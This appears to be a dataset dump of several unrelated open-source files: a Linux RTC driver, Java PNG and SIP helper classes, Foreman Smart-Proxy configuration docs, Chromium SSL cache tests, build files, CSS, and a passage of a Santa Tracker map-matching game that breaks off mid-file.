text
stringlengths
2
100k
meta
dict
/* * rtc-dm355evm.c - access battery-backed counter in MSP430 firmware * * Copyright (c) 2008 by David Brownell * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <linux/kernel.h> #include <linux/init.h> #include <linux/rtc.h> #include <linux/platform_device.h> #include <linux/i2c/dm355evm_msp.h> /* * The MSP430 firmware on the DM355 EVM uses a watch crystal to feed * a 1 Hz counter. When a backup battery is supplied, that makes a * reasonable RTC for applications where alarms and non-NTP drift * compensation aren't important. * * The only real glitch is the inability to read or write all four * counter bytes atomically: the count may increment in the middle * of an operation, causing trouble when the LSB rolls over. * * This driver was tested with firmware revision A4. */ union evm_time { u8 bytes[4]; u32 value; }; static int dm355evm_rtc_read_time(struct device *dev, struct rtc_time *tm) { union evm_time time; int status; int tries = 0; do { /* * Read LSB(0) to MSB(3) bytes. Defend against the counter * rolling over by re-reading until the value is stable, * and assuming the four reads take at most a few seconds. */ status = dm355evm_msp_read(DM355EVM_MSP_RTC_0); if (status < 0) return status; if (tries && time.bytes[0] == status) break; time.bytes[0] = status; status = dm355evm_msp_read(DM355EVM_MSP_RTC_1); if (status < 0) return status; if (tries && time.bytes[1] == status) break; time.bytes[1] = status; status = dm355evm_msp_read(DM355EVM_MSP_RTC_2); if (status < 0) return status; if (tries && time.bytes[2] == status) break; time.bytes[2] = status; status = dm355evm_msp_read(DM355EVM_MSP_RTC_3); if (status < 0) return status; if (tries && time.bytes[3] == status) break; time.bytes[3] = status; } while (++tries < 5); dev_dbg(dev, "read timestamp %08x\n", time.value); rtc_time_to_tm(le32_to_cpu(time.value), tm); return 0; } static int dm355evm_rtc_set_time(struct device *dev, struct rtc_time *tm) { union evm_time time; unsigned long value; int status; rtc_tm_to_time(tm, &value); time.value = cpu_to_le32(value); dev_dbg(dev, "write timestamp %08x\n", time.value); /* * REVISIT handle non-atomic writes ... maybe just retry until * byte[1] sticks (no rollover)? */ status = dm355evm_msp_write(time.bytes[0], DM355EVM_MSP_RTC_0); if (status < 0) return status; status = dm355evm_msp_write(time.bytes[1], DM355EVM_MSP_RTC_1); if (status < 0) return status; status = dm355evm_msp_write(time.bytes[2], DM355EVM_MSP_RTC_2); if (status < 0) return status; status = dm355evm_msp_write(time.bytes[3], DM355EVM_MSP_RTC_3); if (status < 0) return status; return 0; } static struct rtc_class_ops dm355evm_rtc_ops = { .read_time = dm355evm_rtc_read_time, .set_time = dm355evm_rtc_set_time, }; /*----------------------------------------------------------------------*/ static int __devinit dm355evm_rtc_probe(struct platform_device *pdev) { struct rtc_device *rtc; rtc = rtc_device_register(pdev->name, &pdev->dev, &dm355evm_rtc_ops, THIS_MODULE); if (IS_ERR(rtc)) { dev_err(&pdev->dev, "can't register RTC device, err %ld\n", PTR_ERR(rtc)); return PTR_ERR(rtc); } platform_set_drvdata(pdev, rtc); return 0; } static int __devexit dm355evm_rtc_remove(struct platform_device *pdev) { struct rtc_device *rtc = platform_get_drvdata(pdev); rtc_device_unregister(rtc); platform_set_drvdata(pdev, NULL); return 0; } /* * I2C is used to talk to the MSP430, but this platform device is * exposed by an MFD driver that manages I2C communications. */ static struct platform_driver rtc_dm355evm_driver = { .probe = dm355evm_rtc_probe, .remove = __devexit_p(dm355evm_rtc_remove), .driver = { .owner = THIS_MODULE, .name = "rtc-dm355evm", }, }; static int __init dm355evm_rtc_init(void) { return platform_driver_register(&rtc_dm355evm_driver); } module_init(dm355evm_rtc_init); static void __exit dm355evm_rtc_exit(void) { platform_driver_unregister(&rtc_dm355evm_driver); } module_exit(dm355evm_rtc_exit); MODULE_LICENSE("GPL");
{ "pile_set_name": "Github" }
/** * COPYRIGHT (C) 2014-2019 WEN YU ([email protected]) ALL RIGHTS RESERVED. * * This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Any modifications to this file must keep this entire header intact. */ package com.icafe4j.image.png; import com.icafe4j.util.Builder; /** * PNG tRNS chunk builder * * @author Wen Yu, [email protected] * @version 1.0 05/03/2013 */ public class TRNSBuilder extends ChunkBuilder implements Builder<Chunk> { private int colorType = 0; private byte[] alpha; public TRNSBuilder(int colorType) { super(ChunkType.TRNS); this.colorType = colorType; } public TRNSBuilder alpha(byte[] alpha) { this.alpha = alpha; return this; } @Override protected byte[] buildData() { switch(colorType) { case 0: case 2: case 3: break; case 4: case 6: default: throw new IllegalArgumentException("Invalid color type: " + colorType); } return alpha; } }
{ "pile_set_name": "Github" }
The configuration for Smart-Proxy is held in the */etc/foreman-proxy/settings.yml* or *config/settings.yml* file. #### YAML start The first non-comment line of this file must be three dashes. <pre>---</pre> #### SSL configuration The existence of all the three ssl key entries below enables the use of an SSL connections. **NOTE** that both client certificates need to be signed by the same CA, which must be in the *ssl_ca_file*, in order for this to work see [**SSL**](manuals/{{page.version}}/index.html#4.3.6SSL) for more information <pre> :ssl_certificate: ssl/certs/fqdn.pem :ssl_ca_file: ssl/certs/ca.pem :ssl_private_key: ssl/private_keys/fqdn.key </pre> This is the list of hosts from which the smart proxy will accept connections. If this list is empty then every verified SSL connection is allowed to access the API. <pre> :trusted_hosts: - foreman.prod.domain - foreman.dev.domain </pre> #### Instance attributes If this entry is present and not false then Smart-Proxy will attempt to disconnect itself from the controlling terminal and daemonize itself. <pre> :daemon: true </pre> The port listened to by the proxy. If this is not present then the default Sinatra port of 4567 is used. <pre> :port: 8443 </pre> #### TFTP section Activate the TFTP management module within the Smart-Proxy instance. The *tftproot* value is directory into which tftp files are copied and then served from. The tftp daemon will also be expected to chroot to this location. This component is only supported in the Unix environment <pre> :tftp: true :tftproot: /var/lib/tftpboot :tftp_servername: name of your tftp server (used for next server value in your dhcp reservation) - defaults to the host name of your proxy. </pre> **NOTE**: the foreman proxy user must have read/write access to the _tftpboot/pxelinux.cfg_ and _tftpboot/boot_ directories. #### DNS section Activate the DNS management module within the Smart-Proxy instance. The DNS module can manipulate any DNS server that complies with the ISC Dynamic DNS Update standard and can therefore be used to manage both Microsoft and Bind servers. Updates can also be done using GSS-TSIG, see the [documentation](manuals/{{page.version}}/index.html#4.3.6GSS-TSIGDNS). The **dns_key** specifies a file containing a shared secret used to generate a signature for the update request (TSIG record). This option should not be used if you plan to use Kerberos/GSS-TSIG (for example for DNS servers shipped with FreeIPA or Microsoft AD). If neither the **dns_key** or GSS-TSIG is used then the update request is sent without any signature. Unsigned update requests are considered insecure. Some DNS servers can be configured to accept only signed signatures. The **dns_server** option is used if the Smart-Proxy is not located on the same physical host as the DNS server. If it is not specified then localhost is presumed. <pre> :dns: true :dns_key: /home/proxy/keys/Kapi.+157+47848.private :dns_server: dnsserver.site.domain.com </pre> **NOTE**: if you use a key, make sure that the foreman proxy account can read that file. #### DHCP section Activate the DHCP management module within the Smart-Proxy instance. <pre> :dhcp: true </pre> If the DHCP server is ISC compliant then set **dhcp_vendor** to **isc**. In this case Smart-Proxy must run on the same host as the DHCP server. If the proxy is managing a Microsoft DHCP server then set **dhcp_vendor** to **native_ms**. Smart-Proxy must then be run on an NT server so as to access the Microsoft native tools, though it does not have to be the same machine as the DHCP server. More details can be found at [[Foreman:Foreman Architecture]]. <pre> :dhcp_vendor: isc </pre> The DHCP component needs access to the DHCP configuration file as well as the currently allocated leases. The section below shows these values for a RedHat client. In the case of a Smart-Proxy hosted on an Ubuntu machine then these values would be more appropriate: **/etc/dhcp3/dhcpd.conf** and **/var/lib/dhcp3/dhcpd.leases** <pre> :dhcp_config: etc/dhcpd.conf :dhcp_leases: etc/dhcpd.leases </pre> **NOTE**: Make sure that the foreman proxy account can read both ISC configuration files. If your **native_ms** implementation is slow then you can request that the smart proxy only operate on a subset of the subnets managed by the dhcp server. <pre> :dhcp_subnets: [192.168.1.0/255.255.255.0, 192.168.11.0/255.255.255.0] </pre> If you secured your DHCP with an "omapi_key", add the entries: <pre> :dhcp_key_name: omapi_key :dhcp_key_secret: XXXXXXXX </pre> #### Puppet Certificate Authority section Activate the Puppet CA management module within the Smart-Proxy instance. This should only be enabled in the Smart-Proxy that is hosted on the machine responsible for providing certificates to your puppet clients. You would expect to see a directory **/var/lib/puppet/ssl/ca** on such a host. <pre> :puppetca: true </pre> If your puppet SSL directory is located elsewhere, you'll need to set 'ssldir' as well. <pre> :ssldir: /etc/puppet/ssl </pre> <pre> :puppetdir: /etc/puppet </pre> The proxy requires write access to the puppet autosign.conf file, which is usually owner and group puppet, and has mode 0644 according to the puppet defaults. Ensure the foreman-proxy user is added to the puppet group ( e.g. `gpasswd -a foreman-proxy puppet` or `usermod -aG puppet foreman-proxy`) puppet.conf: <pre> [master] autosign = $confdir/autosign.conf {owner = service, group = service, mode = 664 } </pre> Sudo access to the proxy is required - in your sudoers file ensure you have the following lines: For older puppet (pre-3.0) with separate sub-commands available: <pre> foreman-proxy ALL = NOPASSWD: /usr/sbin/puppetca * Defaults:foreman-proxy !requiretty </pre> For newer monolithic puppet without separate commands (3.0-onwards) <pre> foreman-proxy ALL = NOPASSWD: /usr/bin/puppet cert * Defaults:foreman-proxy !requiretty </pre> #### Puppet section Activate the puppet management module within the Smart-Proxy instance. This should only be enabled in the Smart-Proxy that is hosted on the machine capable of executing *puppetrun*. This will be a puppetmaster. This can also be set to true if you need to import puppet classes from the puppetmaster. Without this the import will not be possible <pre> :puppet: true </pre> <pre> :puppet_conf: /etc/puppet/puppet.conf # Defaults to %INSTALL_DIR%/.puppet/puppet.conf </pre> ##### puppet run/kick Sudo access for the proxy is required - in your sudoers file ensure you have the following lines (use /opt/puppet/bin/puppet for Puppet Enterprise): <pre> Defaults:foreman-proxy !requiretty foreman-proxy ALL = NOPASSWD: /usr/sbin/puppetrun </pre> If you are using Puppet 3.0 or higher, the puppetrun binary has been removed and so the Smart Proxy will use `puppet kick`. The sudoers entry should be: <pre> Defaults:foreman-proxy !requiretty foreman-proxy ALL = NOPASSWD: /usr/bin/puppet kick * </pre> ##### MCollective The proxy can trigger Puppet runs using the MCollective "puppet" agent. To enable this, add this line to settings.yml: :puppet_provider: mcollective And then add a sudoers rule: Defaults:foreman-proxy !requiretty foreman-proxy ALL = NOPASSWD: /usr/bin/mco puppet runonce * #### Logging The proxy's output is captured to the **log_file** and may be filtered via the usual unix syslog levels: * *WARN* * *DEBUG* * *ERROR* * *FATAL* * *INFO* * *UNKNOWN* See Ruby's [Logger class](http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc/classes/Logger.html) for details. <pre> :log_file: /tmp/proxy.log :log_level: DEBUG </pre>
{ "pile_set_name": "Github" }
spring.datasource.url=jdbc:h2:mem:testdb spring.datasource.driverClassName=org.h2.Driver spring.datasource.username=sa spring.datasource.password= spring.jpa.database-platform=org.hibernate.dialect.H2Dialect # Enabling H2 Console spring.h2.console.enabled=true
{ "pile_set_name": "Github" }
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/base/ssl_client_auth_cache.h" #include "base/time.h" #include "net/base/x509_certificate.h" #include "testing/gtest/include/gtest/gtest.h" namespace net { TEST(SSLClientAuthCacheTest, LookupAddRemove) { SSLClientAuthCache cache; base::Time start_date = base::Time::Now(); base::Time expiration_date = start_date + base::TimeDelta::FromDays(1); std::string server1("foo1:443"); scoped_refptr<X509Certificate> cert1( new X509Certificate("foo1", "CA", start_date, expiration_date)); std::string server2("foo2:443"); scoped_refptr<X509Certificate> cert2( new X509Certificate("foo2", "CA", start_date, expiration_date)); std::string server3("foo3:443"); scoped_refptr<X509Certificate> cert3( new X509Certificate("foo3", "CA", start_date, expiration_date)); scoped_refptr<X509Certificate> cached_cert; // Lookup non-existent client certificate. cached_cert = NULL; EXPECT_FALSE(cache.Lookup(server1, &cached_cert)); // Add client certificate for server1. cache.Add(server1, cert1); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(cert1, cached_cert); // Add client certificate for server2. cache.Add(server2, cert2); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(cert1, cached_cert.get()); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server2, &cached_cert)); EXPECT_EQ(cert2, cached_cert); // Overwrite the client certificate for server1. cache.Add(server1, cert3); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(cert3, cached_cert); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server2, &cached_cert)); EXPECT_EQ(cert2, cached_cert); // Remove client certificate of server1. cache.Remove(server1); cached_cert = NULL; EXPECT_FALSE(cache.Lookup(server1, &cached_cert)); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server2, &cached_cert)); EXPECT_EQ(cert2, cached_cert); // Remove non-existent client certificate. cache.Remove(server1); cached_cert = NULL; EXPECT_FALSE(cache.Lookup(server1, &cached_cert)); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server2, &cached_cert)); EXPECT_EQ(cert2, cached_cert); } // Check that if the server differs only by port number, it is considered // a separate server. TEST(SSLClientAuthCacheTest, LookupWithPort) { SSLClientAuthCache cache; base::Time start_date = base::Time::Now(); base::Time expiration_date = start_date + base::TimeDelta::FromDays(1); std::string server1("foo:443"); scoped_refptr<X509Certificate> cert1( new X509Certificate("foo", "CA", start_date, expiration_date)); std::string server2("foo:8443"); scoped_refptr<X509Certificate> cert2( new X509Certificate("foo", "CA", start_date, expiration_date)); cache.Add(server1, cert1.get()); cache.Add(server2, cert2.get()); scoped_refptr<X509Certificate> cached_cert; EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(cert1.get(), cached_cert); EXPECT_TRUE(cache.Lookup(server2, &cached_cert)); EXPECT_EQ(cert2.get(), cached_cert); } // Check that the a NULL certificate, indicating the user has declined to send // a certificate, is properly cached. TEST(SSLClientAuthCacheTest, LookupNullPreference) { SSLClientAuthCache cache; base::Time start_date = base::Time::Now(); base::Time expiration_date = start_date + base::TimeDelta::FromDays(1); std::string server1("foo:443"); scoped_refptr<X509Certificate> cert1( new X509Certificate("foo", "CA", start_date, expiration_date)); cache.Add(server1, NULL); scoped_refptr<X509Certificate> cached_cert(cert1); // Make sure that |cached_cert| is updated to NULL, indicating the user // declined to send a certificate to |server1|. EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(NULL, cached_cert.get()); // Remove the existing cached certificate. cache.Remove(server1); cached_cert = NULL; EXPECT_FALSE(cache.Lookup(server1, &cached_cert)); // Add a new preference for a specific certificate. cache.Add(server1, cert1); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(cert1, cached_cert); // Replace the specific preference with a NULL certificate. cache.Add(server1, NULL); cached_cert = NULL; EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(NULL, cached_cert.get()); } // Check that the OnUserCertAdded() method removes all cache entries. TEST(SSLClientAuthCacheTest, OnUserCertAdded) { SSLClientAuthCache cache; base::Time start_date = base::Time::Now(); base::Time expiration_date = start_date + base::TimeDelta::FromDays(1); std::string server1("foo:443"); scoped_refptr<X509Certificate> cert1( new X509Certificate("foo", "CA", start_date, expiration_date)); cache.Add(server1, cert1); std::string server2("foo2:443"); cache.Add(server2, NULL); scoped_refptr<X509Certificate> cached_cert; // Demonstrate the set up is correct. EXPECT_TRUE(cache.Lookup(server1, &cached_cert)); EXPECT_EQ(cert1, cached_cert); EXPECT_TRUE(cache.Lookup(server2, &cached_cert)); EXPECT_EQ(NULL, cached_cert.get()); cache.OnUserCertAdded(NULL); // Check that we no longer have entries for either server. EXPECT_FALSE(cache.Lookup(server1, &cached_cert)); EXPECT_FALSE(cache.Lookup(server2, &cached_cert)); } } // namespace net
{ "pile_set_name": "Github" }
{ "created_at": "2015-02-27T22:28:24.652003", "description": "Read and write media metadata using ffmpeg", "fork": false, "full_name": "parshap/node-ffmetadata", "language": "JavaScript", "updated_at": "2015-02-27T23:42:38.146707" }
{ "pile_set_name": "Github" }
# $NetBSD: Makefile,v 1.4 1995/03/21 11:59:28 cgd Exp $ # @(#)Makefile 8.1 (Berkeley) 5/31/93 PROG= arithmetic MAN= arithmetic.6 HIDEGAME=hidegame .include <bsd.prog.mk>
{ "pile_set_name": "Github" }
/* This file is part of Peers, a java SIP softphone. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Copyright 2007, 2008, 2009, 2010 Yohann Martineau */ package net.sourceforge.peers.nat; import java.io.IOException; import java.io.InputStream; import java.io.UnsupportedEncodingException; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketTimeoutException; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; import org.w3c.dom.Document; import org.xml.sax.SAXException; public class Server { public static final String SERVER_HOST = "peers.sourceforge.net"; public static final String PREFIX = "/peers"; //public static final int SOCKET_TIMEOUT = 30000;//millis //private InetAddress localAddress; //private int localPort; private InetAddress remoteAddress; private int remotePort; private Socket socket; //TODO constructor without parameters public Server(InetAddress localAddress, int localPort) throws IOException { super(); //this.localAddress = localAddress; //this.localPort = localPort; this.remoteAddress = InetAddress.getByName(SERVER_HOST); this.remotePort = 80; socket = new Socket(remoteAddress, remotePort, localAddress, localPort); //socket.setSoTimeout(SOCKET_TIMEOUT); } /** * This method will update public address on the web server. * @param email user identifier */ public void update(String email) { String encodedEmail; try { encodedEmail = URLEncoder.encode(email, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return; } StringBuffer urlEnd = new StringBuffer(); urlEnd.append("update2.php?email="); urlEnd.append(encodedEmail); get(urlEnd.toString()); close(); } public Document getPeers(String email) { String encodedEmail; try { encodedEmail = URLEncoder.encode(email, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); return null; } StringBuffer urlBuf = new StringBuffer(); urlBuf.append("http://"); urlBuf.append(SERVER_HOST); urlBuf.append(PREFIX); urlBuf.append("/getassocasxml.php?email="); urlBuf.append(encodedEmail); URL url; try { url = new URL(urlBuf.toString()); } catch (MalformedURLException e) { e.printStackTrace(); return null; } System.out.println("retrieved peers"); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder; try { documentBuilder = documentBuilderFactory.newDocumentBuilder(); } catch (ParserConfigurationException e) { e.printStackTrace(); return null; } try { URLConnection urlConnection = url.openConnection(); InputStream inputStream = urlConnection.getInputStream(); return documentBuilder.parse(inputStream); } catch (IOException e) { e.printStackTrace(); } catch (SAXException e) { e.printStackTrace(); } return null; } private String get(String urlEnd) { StringBuffer get = new StringBuffer(); get.append("GET "); get.append(PREFIX); get.append('/'); get.append(urlEnd); get.append(" HTTP/1.1\r\n"); get.append("Host: "); get.append(SERVER_HOST); get.append("\r\n"); get.append("\r\n"); try { socket.getOutputStream().write(get.toString().getBytes()); } catch (IOException e) { e.printStackTrace(); return null; } System.out.println("> sent:\n" + get.toString()); StringBuffer result = new StringBuffer(); try { byte[] buf = new byte[256]; int read = 0; while ((read = socket.getInputStream().read(buf)) > -1) { byte[] exactBuf = new byte[read]; System.arraycopy(buf, 0, exactBuf, 0, read); result.append(new String(exactBuf)); } } catch (SocketTimeoutException e) { System.out.println("socket timeout"); return null; } catch (IOException e) { e.printStackTrace(); return null; } System.out.println("< received:\n" + result.toString()); return result.toString(); } public void close() { if (socket != null) { try { socket.close(); } catch (IOException e) { e.printStackTrace(); } } } }
{ "pile_set_name": "Github" }
/* Pygments murphy style */ code .comment {color: #666; font-style: italic} code .comment.preproc {color: #579; font-style: normal} code .comment.special {color: #c00; font-weight: bold} code .keyword {color: #289; font-weight: bold} code .keyword.pseudo {color: #08f} code .keyword.type {color: #66f} code .operator {color: #333} code .operator.word {color: #000; font-weight: bold} code .name.builtin {color: #072} code .name.function {color: #5ed; font-weight: bold} code .name.class {color: #e9e; font-weight: bold} code .name.namespace {color: #0e84b5; font-weight: bold} code .name.exception {color: #f00; font-weight: bold} code .name.variable {color: #036} code .name.variable.instance {color: #aaf} code .name.variable.class {color: #ccf} code .name.variable.global {color: #f84} code .name.constant {color: #5ed; font-weight: bold} code .name.label {color: #970; font-weight: bold} code .name.entity {color: #800} code .name.attribute {color: #007} code .name.tag {color: #070} code .name.decorator {color: #555; font-weight: bold} code .string {background-color: #e0e0ff} code .string.char {color: #88f; background-color: transparent} code .string.doc {color: #d42; background-color: transparent} code .string.interpol {background-color: #eee} code .string.escape {color: #666; font-weight: bold} code .string.regex {color: #000; background-color: #e0e0ff} code .string.symbol {color: #fc8; background-color: transparent} code .string.other {color: #f88} code .number {color: #60e; font-weight: bold} code .number.integer {color: #66f; font-weight: bold} code .number.float {color: #60e; font-weight: bold} code .number.hex {color: #058; font-weight: bold} code .number.oct {color: #40e; font-weight: bold}
{ "pile_set_name": "Github" }
/* * Copyright 2015 Google Inc. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ /*global google Modernizr */ goog.provide('app.Game'); goog.require('app.Constants'); goog.require('app.Country'); goog.require('app.levels'); goog.require('app.shared.Gameover'); goog.require('app.shared.LevelUp'); goog.require('app.shared.Scoreboard'); goog.require('app.shared.Tutorial'); goog.require('app.shared.utils'); goog.require('app.utils'); /** * Main game class * @param {!Element} elem A DOM element which wraps the game. * @constructor * @export */ app.Game = function(elem) { this.elem = $(elem); this.sceneElem = this.elem.find('.scene'); this.mapElem = this.elem.find('.gmap'); this.bgElem = this.elem.find('.bg'); this.countriesElem = this.elem.find('.countries'); this.scoreboard = new app.shared.Scoreboard(this, this.elem.find('.board'), app.Constants.TOTAL_LEVELS); this.gameoverView = new app.shared.Gameover(this, this.elem.find('.gameover')); this.levelUp = new app.shared.LevelUp(this, this.elem.find('.levelup'), this.elem.find('.levelup--number')); this.tutorial = new Tutorial(this.elem, 'touch-mercator', 'mouse-mercator', 'touch-mercator'); this.debug = !!location.search.match(/[?&]debug=true/); this.mapReady = false; this.startOnReady = false; // Remove success messages on hide this.elem.on('animationend', '.country-match', function(event) { $(event.target).remove(); }); // Cache bound functions this.onFrame_ = this.onFrame_.bind(this); this.countryMatched_ = this.countryMatched_.bind(this); this.updateSize_ = this.updateSize_.bind(this); this.disableTutorial_ = this.disableTutorial_.bind(this); this.init_(); this.initMap_(); }; /** * Disable the tutorial. * @private */ app.Game.prototype.disableTutorial_ = function(event) { if (event && $(event.target).closest('.start').length) { return; } this.tutorial.off('mouse-mercator'); this.tutorial.off('touch-mercator'); }; /** * Start the game. */ app.Game.prototype.start = function() { // Wait for map to be ready if (!this.mapReady) { this.startOnReady = true; return; } this.restart(); // Start tutorial this.tutorial.start(); this.elem.on('click touchend', this.disableTutorial_); }; /** * Initialize the game. * @private */ app.Game.prototype.init_ = function() { this.updateSize_(); $(window).on('resize.mercator', this.updateSize_); $(window).on('orientationchange.mercator', this.updateSize_); var match = location.search.match(/[?&]level=(\d+)/) || []; this.level = (+match[1] || 1) - 1; this.scoreboard.reset(); this.scoreboard.setLevel(this.level); this.countries && this.countries.forEach(function(country) { country.hide(); }); }; /** * Restart the game. */ app.Game.prototype.restart = function() { this.init_(); this.startLevel_(); this.unfreezeGame(); window.santaApp.fire('analytics-track-game-start', {gameid: 'mercator'}); window.santaApp.fire('sound-trigger', 'mercator_start'); window.santaApp.fire('sound-ambient', 'music_start_ingame'); }; /** * Freezes the game. Stops the onFrame loop and stops any CSS3 animations. * Used both for game over and pausing. * @param {boolean} hideMap */ app.Game.prototype.freezeGame = function(hideMap) { this.isPlaying = false; if (hideMap) { this.elem.addClass('frozen'); } }; /** * Unfreezes the game, starting the game loop as well. */ app.Game.prototype.unfreezeGame = function() { if (!this.isPlaying) { this.elem.removeClass('frozen').focus(); this.isPlaying = true; this.lastFrame = +new Date() / 1000; this.requestId = window.requestAnimationFrame(this.onFrame_); } }; /** * Pause the game. */ app.Game.prototype.pause = function() { this.paused = true; this.freezeGame(true); }; /** * Resume the game. */ app.Game.prototype.resume = function() { this.paused = false; this.unfreezeGame(); }; /** * Game loop. Runs every frame using requestAnimationFrame. * @private */ app.Game.prototype.onFrame_ = function() { if (!this.isPlaying) { return; } // Calculate delta since last frame. var now = +new Date() / 1000; var delta = Math.min(1, now - this.lastFrame); this.lastFrame = now; this.levelElapsed += delta; this.scoreboard.onFrame(delta); // Request next frame this.requestId = window.requestAnimationFrame(this.onFrame_); }; /** * Go to next level or end the game. * @param {boolean} won Is the game over? * @private */ app.Game.prototype.bumpLevel_ = function(won) { this.countries.forEach(function(country) { country.hide(); }); if (won) { this.gameover(); window.santaApp.fire('sound-trigger', 'mercator_game_over'); window.santaApp.fire('sound-trigger', 'music_ingame_gameover'); } else { this.level++; this.scoreboard.setLevel(this.level); this.scoreboard.addTime(this.geodesic ? app.Constants.GEODESIC_TIME_PER_LEVEL : app.Constants.TIME_PER_LEVEL); this.startLevel_(); window.santaApp.fire('sound-trigger', 'mercator_nextLevel'); } }; /** * Setup the level. Create countries and set bounds. * @private */ app.Game.prototype.setupLevel_ = function() { var data = app.levels[this.level]; this.geodesic = app.Constants.GEODESIC_LEVELS.indexOf(this.level + 1) !== -1; this.countries = []; data.features.forEach(function(feature) { var country = new app.Country(this.map, feature, this.geodesic); country.onMatched = this.countryMatched_; country.onDrag = this.disableTutorial_; this.countries.push(country); }, this); this.mapBounds = new google.maps.LatLngBounds(); this.mapBounds.extend(new google.maps.LatLng(data.bounds.s, data.bounds.w)); this.mapBounds.extend(new google.maps.LatLng(data.bounds.n, data.bounds.e)); this.map.fitBounds(this.mapBounds); if (this.debug) { this.mapBoundsRect && this.mapBoundsRect.setMap(null); this.mapBoundsRect = new google.maps.Rectangle({ map: this.map, bounds: this.mapBounds, zIndex: 1 }); } // Show the whole world if geodesic puzzle. if (this.geodesic) { this.map.setZoom(2); this.map.setCenter( new google.maps.LatLng( app.Constants.GEODESIC_CENTER[0], app.Constants.GEODESIC_CENTER[1])); } }; /** * Start a the level. * @private */ app.Game.prototype.startLevel_ = function() { this.setupLevel_(); this.showCountries_(); this.levelElapsed = 0; if (!this.paused) { this.unfreezeGame(); } }; /** * Show countries for current level in random places within the bounding box. * @private */ app.Game.prototype.showCountries_ = function() { var ne = app.utils.latLngToPoint(this.map, this.mapBounds.getNorthEast()); var sw = app.utils.latLngToPoint(this.map, this.mapBounds.getSouthWest()); var dX = sw.x - ne.x; var dY = sw.y - ne.y; // Don't place countries on the edges of the map dX -= ((app.Constants.MAP_BORDER) / 100) * dX; dY -= ((app.Constants.MAP_BORDER) / 100) * dY; ne.x += (app.Constants.MAP_BORDER / 100 / 2) * dX; ne.y += (app.Constants.MAP_BORDER / 100 / 2) * dY; var shown = 0; var total = this.level === 0 ? app.Constants.FIRST_LEVEL_VISIBLE_COUNTRIES : (this.geodesic ? app.Constants.GEODESIC_VISIBLE_COUNTRIES : app.Constants.VISIBLE_COUNTRIES); var total = this.level === 0 ? app.Constants.FIRST_LEVEL_VISIBLE_COUNTRIES : app.Constants.VISIBLE_COUNTRIES; while (shown < total) { var index = Math.floor(Math.random() * this.countries.length); var country = this.countries[index]; if (country.visible) { continue; } var x = (Math.random() * dX) + ne.x; var y = (Math.random() * dY) + ne.y; var color = app.Constants.COUNTRY_COLORS[shown % app.Constants.COUNTRY_COLORS.length]; country.setPosition(new google.maps.Point(x, y)); country.show(color); shown++; if (this.debug) { country.showBounds(); } } }; /** * Calculate the score to give for a match. * @param {number} time The number of seconds from the start of the game. * @return {number} */ app.Game.prototype.getScore = function(time) { var score = app.Constants.SCORE_PER_COUNTRY; var multipliers = app.Constants.SCORE_MULTIPLIERS; var multiply = 1; for (var i = 0; i < multipliers.length; i++) { if (time < multipliers[i][0]) { multiply = multipliers[i][1]; break; } } return score * multiply; }; /** * Event handler for when a country is matched. * @param {!app.Country} country The country that was matched. * @private */ app.Game.prototype.countryMatched_ = function(country) { // Show the name of the country var point = app.utils.latLngToPoint(this.map, country.bounds.getCenter()); var ne = app.utils.latLngToPoint(this.map, this.map.getBounds().getNorthEast()); var sw = app.utils.latLngToPoint(this.map, this.map.getBounds().getSouthWest()); // Show country name var offset = { left: (this.elem.width() - this.mapElem.width()) / 2, top: (this.elem.height() - this.mapElem.height()) / 2 }; var message = $(app.Constants.COUNTRY_MATCH_TEMPLATE).css({ left: offset.left + point.x - sw.x, top: offset.top + point.y - ne.y }); var name = this.countriesElem.find('[data-country="' + country.name + '"]').first().text(); message.find('.country-match-text').text(name); message.find('.country-match-bg').css('background', country.color); this.sceneElem.append(message); // Get score for the match this.scoreboard.addScore(this.getScore(this.levelElapsed)); // Go to next level? var levelOver = this.countries.every(function(country) { return country.matched || !country.visible; }); if (!levelOver) { return; } if (this.level === app.Constants.TOTAL_LEVELS - 1) { this.bumpLevel_(true); } else { this.freezeGame(false); window.setTimeout(function() { this.levelUp.show(this.level + 2, this.bumpLevel_.bind(this)); }.bind(this), 1000); } }; /** * Initialize Google Maps. * @private */ 